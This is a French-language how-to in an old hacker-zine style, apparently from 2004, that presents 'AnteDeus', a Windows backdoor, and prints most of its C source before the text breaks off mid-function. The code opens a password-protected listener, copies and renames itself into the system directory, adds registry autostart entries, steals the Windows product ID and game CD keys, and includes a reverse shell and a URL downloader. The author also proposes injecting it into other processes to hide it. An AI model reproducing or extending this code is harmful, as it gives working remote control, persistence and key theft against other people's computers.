___ _ ______ _ _ _ / _ \ | | | _ \ | | | | | | / /_\ \_ __ | |_ ___| | | |___ _ _ ___ | |_| | _____ _| |_ ___ | _ | '_ \| __/ _ \ | | / _ \ | | / __| | _ |/ _ \ \ /\ / / __/ _ \ | | | | | | | || __/ |/ / __/ |_| \__ \ | | | | (_) \ V V /| || (_) | \_| |_/_| |_|\__\___|___/ \___|\__,_|___/ \_| |_/\___/ \_/\_/ \__\___/ -- [ AnteDeus how-to ----------------- -=AnteDeus v0.7=- ----------------- Table des matieres : - Introduction - Outils utilisés - How To - Annexe A : Key Jeux disponibles - L'avenir d'AnteDeus --------------------------- -==[Introduction]==- --------------------------- AnteDeus est une Backdoor tendance Old School. Point d'interface graphique recherchée mais une bonne connexion telnet à l'ancienne. Il fonctionne sur le port 3333 mais vous etes libres de le changer directement dans le code source. AnteDeus dispose de certaines fonctionnalités dont en voici la liste : -prendre product Id Windows -renvoi d'un reverse shell -Infection systeme (par la base de registre + copie et renommage de l'executable) -prendre cdKey jeux (liste disponible en Annexe) -desinstallation totale (et desinfection du systeme) -statistiques systeme et reseau -telechargement d'un fichier a partir d'une URL Petites precisions : Concerant le renvoi de shell, il s'agit bien d'un REVERSE shell et cela implique bien evidemment de se mettre en ecoute sur un port juste avant l'envoi. Un mot de passe est demandé a l'entrée. Il est bien evident que vous devrez modifier le pass standard(a savoir : n0name) dans le code avant d'utiliser la backdoor. --------------------------- -==[Outils utilisés]==- --------------------------- En créant cette backdoor a l'ancienne, j'avais simplement envie de coder a l'ancienne :-) Aucun outil de developpement graphique n'a donc été utilisé. J'ai simplement utilisé le compilateur en ligne de commande borland C++ 5.5 (bcc55). Pour le confort j'ai tout de meme employé Textpad, un Excellent Bloc note configurable pour utiliser des compilateurs. Rien de plus basique non? --------------------------- -==[How To]==- --------------------------- Pour arriver au resultat final, plusieurs etapes ont été necessaires. Nous allons donc survoler et decortiquer le code sans toutefois trop entrer dans les details. Ce document suppose que vous avez deja entendu parler de winsock et que vous comprenez son fonctionnement. Avant toute chose, il est necessaire d'initialiser le tout. Il faut d'abord penser a charger les dll. Kernel32, wininet, icmp, n'oubliez rien! /*******************************************************************/ void connectAndInitialize(void){ int length; WSAStartup(MAKEWORD(2,0),&WSAdata); s1 = socket(PF_INET,SOCK_STREAM,0); in1.sin_family = PF_INET; in1.sin_port = htons(3333); //port a utiliser in1.sin_addr.s_addr = INADDR_ANY; bind(s1,(struct sockaddr*)&in1,sizeof(struct sockaddr_in)); length = sizeof(struct sockaddr); listen(s1,1); s2 = accept(s1,(struct sockaddr*)&in2,(LPINT)&length); } /********************************************************************/ On continera ensuite par faire les premiers tests, avant de lancer a proprement parler le programme. Mais quels sont ils? Et bien, en premier lieu, on s'assurera que le pgme ne tourne pas deja(sans quoi on quitte). Nous allons ensuite passer aux formalités de furtivité minimale a savoir, planquer notre programme :-). On copiera donc l'exe a un endroit moins visible et on pensera bien sur a le renommer. Notez qu'a ce stade le systeme n'est pas encore infecté. Il faudra passer explicitement la commande "infect" pour realiser l'infection de la base de registre. Ci dessous le test + copie de l'exe : /************************************************************************/ if (fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next) { psnap = fCreateToolhelp32Snapshot(2, 0); if (psnap != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (fProcess32First(psnap, &pe32)) { do { if (strncmp(cfilename+(strlen(cfilename)-strlen(pe32.szExeFile)), pe32.szExeFile, strlen(pe32.szExeFile)) == 0) copies++; } while (fProcess32Next(psnap, &pe32)); } CloseHandle (psnap); // si l'exe tourne deja exit if (copies > 1) exit(0); } } if (strstr(cfilename, sysdir) == NULL) { //copie du fichier ds le systemdir sprintf(filename1 , strcat(sysdir,filename)); if (CopyFile(cfilename, filename1,1) == 0){ strcpy(status,"Failure to copy the file"); send(s2,status,strlen(status),0); } else{ strcpy(status,"\r\nInfecting SystemDirectory...Success...\r\nInfection accomplished in "); strcat(status,sysdir); strcat(status,"..."); send(s2,status,strlen(status),0); } memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb = sizeof(sinfo); sinfo.wShowWindow = SW_HIDE; WSACleanup(); if (CreateProcess(NULL, sysdir, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) exit(0); } /********************************************************************/ Tout d'abord, il nous faut un element principal, un peu comme le moteur du programme, a savoir... (roulement de tambour) ...la boucle de saisie! (symbales). Celle-ci nous permettra a tout moment de communiquer avec le programme et constitue notre entrée principale. C'est probablement cette fonction qui sera le plus souvent utilisée : /*****************************************************************/ char* recevoir(){ //pour recevoir une commande int i = 0,j,test; boolean ok = 0; char car; char *buff; char oneShot[1] = ""; while(!ok){ recv(s2,buff+i,1,0); //reception des caracteres car = (char) buff[i]; test = (int) car; if( test == 10) ok = 1; if (test == 13){ for(j=i;j<496;j++) strcpy(buff+j,""); } if (test == 8){ i = i-2; strcpy(buff+strlen(buff),""); } i++; } return buff; } /****************************************************************/ Ensuite on initialise et on se connecte. Plus qu'a demander un pti pass, ce serait dommage ke le monde entier puisse avoir acces a votre taff non? Nous arrivons ensuite dans la boucle principale du programme se presentant sous une forme de boucle infinie. C'est ici que s'implementent toutes les fonctionnalités principales du programme. D'apres la commande tapée, un parcours de cette boucle executera le traitement correspondant. Pour le reste chaque fonctionnalité du programme se trouve dans une fonction au nom explicite. Je ne pense pas qu'il soit utile de detailler. Mais pour ceux qui souhaitent toutefois obtenir une reponse plus detaillée au sujet d'une des fonctions, je leur repondrai volontier par mail. ------------------------------------------ -==[Annexe A : Key Jeux disponibles]==- ------------------------------------------ Unreal Tournament 2003 Unreal Tournament 2004 Chaser Sacred Counter Strike Project IGI 2 BattleField 1942 BattleField 1942 Road To Rome Rainbow Six III RavenShield Command and Conquer Generals The Gladiators ------------------------------------------ -==[L'avenir d'AnteDeus]==- ------------------------------------------ Nous voila deja a la conclusion de ce paper. Cependant, il subsiste un point sur lequel je voulais revenir. AnteDeus n'a certainement pas la pretention d'etre un outil revolutionnaire. La n'etait pas le but. Je l'ai surtout fait pour m'amuser. Mais si je devais voir un futur pour cette backdoor, et bien j'ai deja certaines idées concretes. Je ne suis pas certain a l'heure actuelle que je continuerai a developper ce programme. Mais si certains en ont envie, j'avais pensé a quelques suggestions : - Ajout d'un shell standard en plus du reverse shell - Mise en place d'un systeme plus "generique" pr remplacer ou ajouter de nouvelles key jeux - Optimisation generale du code de telle facon a utiliser plus l'api windows - Autre systeme pour cacher le programme (injection dans un process de plus haut niveau ou une dll) - Ajouts d'autres fonctionnalités utiles (port redirect,administration systeme a distance.... soyez imaginatifs ;-) ) Pour toute question, remarque, suggestion, ... n'hesitez pas a m'envoyer un mail Voici le code source final : ############## [AnteDeus.c] # ############## #include #include #include #include #pragma link "wininet.lib" #define MAX_NB_THREAD 16 #define MAX_IP 16 #define BUFFER_SIZE 200 //netcat #pragma comment(lib, "Ws2_32.lib") // download/update structure typedef struct ds { char url[256]; char dest[256]; } ds; // icmp.dll typedefs/structs typedef unsigned long IPAddr; typedef struct ip_option_information { unsigned char Ttl; unsigned char Tos; unsigned char Flags; unsigned char OptionsSize; unsigned char FAR *OptionsData; } IP_OPTION_INFORMATION, *PIP_OPTION_INFORMATION; typedef struct icmp_echo_reply { IPAddr Address; unsigned long Status; unsigned long RoundTripTime; unsigned short DataSize; unsigned short Reserved; void FAR *Data; struct ip_option_information Options; } ICMP_ECHO_REPLY; // kernel32.dll typedefs/structs typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD *th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32, *LPPROCESSENTRY32; // icmp.dll function variables typedef int (__stdcall *ICF)(VOID); ICF fIcmpCreateFile; typedef int (__stdcall *ISE)(HANDLE, IPAddr, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD); ISE fIcmpSendEcho; typedef int (__stdcall *ICH)(HANDLE); ICH fIcmpCloseHandle; // wininet.dll function variables typedef int (__stdcall *IGCSE)(LPDWORD, char *, DWORD, DWORD); IGCSE fInternetGetConnectedStateEx; typedef int (__stdcall *IGCS)(LPDWORD, DWORD); IGCS fInternetGetConnectedState; // kernel32.dll function variables typedef int (__stdcall *RSP)(DWORD, DWORD); RSP fRegisterServiceProcess; typedef HANDLE (__stdcall *CT32S)(DWORD,DWORD); CT32S fCreateToolhelp32Snapshot; typedef BOOL (__stdcall *P32F)(HANDLE,LPPROCESSENTRY32); P32F fProcess32First; typedef BOOL (__stdcall *P32N)(HANDLE,LPPROCESSENTRY32); P32N fProcess32Next; INT nIPAddrA = 10; INT nIPAddrB = 0; INT nIPAddrC = 0; INT nIPAddrD = 0; HANDLE hThread[MAX_NB_THREAD]; SOCKET s1, s2; WSADATA WSAdata; struct sockaddr_in in1, in2; char tempdir[256]; // name of temp folder char Invite[] = " Ante Deus>"; //Shell Invite HKEY hKey; HANDLE ih; // internet handle HANDLE threads[64]; // thread handles char threadd[64][128]; // thread descriptions BOOL noigcse; // if true, InternetGetConnectedStateEx function is available const char filename[] = "\SystemLoader.exe"; // destination file name const char valuename[] = "Configuration Loader"; // value name for autostart DWORD started; const char truePass[] = "n0name"; //AModifier ------->>> Pass standard void connectAndInitialize(void); char* recevoir(); BOOL pass(char* tempPass); char* menuPrincipal(char* buff); char* prend_ProductID(char* buff); char* menuCdKeys(char* buff); char* viderEtInvite(char* buff); char* chercherKeyJeu(int rootKey, char* buff, char* key, char* value, char* found, char* notfound); void infectSystem(char* filename1); void uninstall(void); char * netinfo(char *ninfo, SOCKET sock); char * sysinfo(char *sinfo); void webdownload(HANDLE ih, char* url, char* dest, int run); void reverse(char *ip,unsigned short port); /************************************************/ void connectAndInitialize(void){ int length; WSAStartup(MAKEWORD(2,0),&WSAdata); s1 = socket(PF_INET,SOCK_STREAM,0); in1.sin_family = PF_INET; in1.sin_port = htons(3333); //port a utiliser in1.sin_addr.s_addr = INADDR_ANY; bind(s1,(struct sockaddr*)&in1,sizeof(struct sockaddr_in)); length = sizeof(struct sockaddr); listen(s1,1); s2 = accept(s1,(struct sockaddr*)&in2,(LPINT)&length); } /************************************************/ char* recevoir(){ //pour recevoir une commande int i = 0,j,test; boolean ok = 0; char car; char *buff; char oneShot[1] = ""; while(!ok){ recv(s2,buff+i,1,0); //reception des caracteres car = (char) buff[i]; test = (int) car; if( test == 10) ok = 1; if (test == 13){ for(j=i;j<496;j++) strcpy(buff+j,""); } if (test == 8){ i = i-2; strcpy(buff+strlen(buff),""); } i++; } return buff; } /*************************************************/ BOOL pass(char* tempPass){ if(strcmp(tempPass,truePass) == 0) return TRUE; else return FALSE; } /************************************************/ char* prend_ProductID(char* buff){//choppe la regkey ProductID de windows unsigned long d = 0xFF; RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion" ,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL); RegQueryValueEx(hKey,"ProductId",NULL,NULL,(LPBYTE)buff,&d); RegCloseKey(hKey); return buff; } /************************************************/ char* menuPrincipal(char* buff){ strcpy(buff,"------------------------ "); strcat(buff,"-_-_-_-_ANTE DEUS_-_-_-_ "); strcat(buff,"------------------------ "); strcat(buff," ANTE DEUS V0.7...READY... (C) Made By ScAn-X -2004- Pour l'aide tapez 'help'... "); send(s2,buff,strlen(buff),0); return buff; } /**************************************************/ char* menuCdKeys(char* buff){ strcpy(buff," --------Parametres-cdki-------------------- "); strcat(buff," -ut2k3 Unreal Tournament 2003 "); strcat(buff," -ut2k4 Unreal Tournament 2004 "); strcat(buff," -chaser Chaser "); strcat(buff," -sacred Sacred "); strcat(buff," -cs Counter Strike "); strcat(buff," -igi2 Project IGI 2 "); strcat(buff," -1942 BattleField 1942 "); strcat(buff," -1942rtr BattleField 1942 Road To Rome "); strcat(buff," -raven Rainbow Six III RavenShield "); strcat(buff," -ccgen Command and Conquer Generals "); strcat(buff," -glad The Gladiators "); strcat(buff,"------------------------------------------- "); strcat(buff,"ex: cdki -ut2k4 : get UT2004 CD Key "); send(s2,buff,strlen(buff),0); return buff; } /**************************************************/ char* aboutBox(char* buff){ strcpy(buff," "); strcat(buff," _ ___ __ "); strcat(buff," /_\ |\||( )(_ "); strcat(buff," (___)|\_| |_| (__ "); strcat(buff," _ __ __ "); strcat(buff," | \(_ | | ( _) "); strcat(buff," |_/(__ |__|(__) "); strcat(buff," "); strcat(buff," By "); strcat(buff," "); strcat(buff," __ __ "); strcat(buff," .....:::( )( ):::...... "); strcat(buff," __ __ \ \/ / _ "); strcat(buff," ( _)/ _) \ / /_\ |\|| "); strcat(buff," (__) \__) / \ (___)|\_| "); strcat(buff," ........./ /\ \.......... "); strcat(buff," :::(__)(__)::: "); send(s2,buff,strlen(buff),0); return buff; } /**************************************************/ char* viderEtInvite(char* buff){ memset(buff,0,sizeof(buff)); strcpy(buff,Invite); send(s2,buff,strlen(buff),0); return buff; } /**************************************************/ char* chercherKeyJeu(int rootKey, char* buff, char* key, char* value, char* found, char* notfound){ unsigned char szDataBuf[128]; HKEY hkey; DWORD dwSize = 128; LONG lRet; dwSize = 128; if (rootKey == 1) lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, &hkey); if (rootKey == 2) lRet = RegOpenKeyEx(HKEY_CURRENT_USER, key, 0, KEY_READ, &hkey); if(RegQueryValueEx(hkey, value, NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS) { sprintf(buff, found, szDataBuf); send(s2, buff, strlen(buff),0); } else{ sprintf(buff, notfound); send(s2, buff, strlen(buff),0); } RegCloseKey(hkey); viderEtInvite(buff); return buff; } /*******************************************************/ void infectSystem(char* filename1){ HKEY key; printf(" Now Infecting Registry... Succeed..."); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename1)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename1)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename1)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename1)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename1)+1); RegCloseKey(key); } /******************************************************************/ void uninstall(void){ HKEY key; HANDLE f; DWORD r; PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; char tempChaine[] = "@echo off :start if not exist ""%1"" goto done del /F ""%1"" del ""%1"" goto start :done del /F %temp%\o.bat del %temp%\o.bat "; //char tempChaine[] = "@echo off del /F ""%1"" del ""%1"" del /F %temp%\o.bat del %temp%\o.bat "; char cmdline[500]; char tcmdline[1000]; char cfilename[256]; char batfile[256]; char buffer[100]; // effacer entrees ds la base de registre RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegDeleteValue(key, valuename); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegDeleteValue(key, valuename); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegDeleteValue(key, valuename); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegDeleteValue(key, valuename); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegDeleteValue(key, valuename); RegCloseKey(key); sprintf(batfile, "%so.bat", tempdir); f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); if (f > (HANDLE)0) { // ecriture d'un fichier batch pr effacer notre exe apres qu'on ai quitté WriteFile(f, tempChaine, strlen(tempChaine) , &r, NULL); CloseHandle(f); memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb = sizeof(sinfo); sinfo.wShowWindow = SW_HIDE; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));// recuperation de notre exe strcpy(tcmdline, "%comspec% /c "); strcat(tcmdline,batfile); strcat(tcmdline," "); strcat(tcmdline,cfilename); ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // mettre le nom de l'interpreteur de commande dans la ligne de commmande // execution du fichier batch CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo); strcpy(buffer," All Corruption removed...exiting "); send(s2,buffer,strlen(buffer),0); shutdown(s1,2); closesocket(s1); shutdown(s2,2); closesocket(s2); WSACleanup(); exit(0); } } /*************************************************************/ // function used for netinfo char * netinfo(char *ninfo, SOCKET sock){ SOCKADDR sa; int sas; DWORD n; char ctype[8]; char cname[128]; // get connection type/name memset(cname, 0, sizeof(cname)); memset(ctype, 0, sizeof(ctype)); if (!noigcse) { fInternetGetConnectedStateEx(&n, (char *)&cname, sizeof(cname), 0); if (n & INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM) strncpy(ctype, "dial-up", sizeof(ctype)-1); else strncpy(ctype, "LAN", sizeof(ctype)-1); } else { strncpy(ctype, "N/A", sizeof(ctype)-1); strncpy(cname, "N/A", sizeof(cname)-1); } // get ip address sas = sizeof(sa); memset(&sa, 0, sizeof(sa)); getsockname(sock, &sa, &sas); sprintf(ninfo, " connection type: %s (%s). local IP address: %d.%d.%d.%d.", ctype, cname, (BYTE)sa.sa_data[2], (BYTE)sa.sa_data[3], (BYTE)sa.sa_data[4], (BYTE)sa.sa_data[5]); return ninfo; // return the netinfo string } /*********************************************************/ char * sysinfo(char *sinfo) { int total,backTime; char *os; char os2[140]; MEMORYSTATUS memstat; OSVERSIONINFO verinfo; char szBuffer[MAX_COMPUTERNAME_LENGTH + 1]; DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1; char *szCompname; TCHAR szUserName[21]; DWORD dwUserSize = sizeof(szUserName); GlobalMemoryStatus(&memstat); // chargement des infos memoire dans memstat verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // requis pour une raison etrange GetVersionEx(&verinfo); // chargement info version dans verinfo if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) { if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95"; if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT"; } else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98"; else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2000"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP"; else os = "???"; if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0] != ' -- [ Scan-X